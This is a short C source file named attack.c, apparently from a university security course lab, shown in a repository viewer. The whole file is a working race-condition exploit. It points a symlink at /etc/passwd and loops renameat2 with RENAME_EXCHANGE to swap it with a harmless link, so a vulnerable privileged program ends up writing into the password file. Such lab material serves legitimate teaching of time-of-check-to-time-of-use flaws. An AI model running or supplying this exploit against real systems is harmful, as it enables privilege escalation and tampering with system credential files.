Files
CSE4303S6/attack.c
2026-03-26 12:36:41 -05:00

13 lines
298 B
C

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
while(1){
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}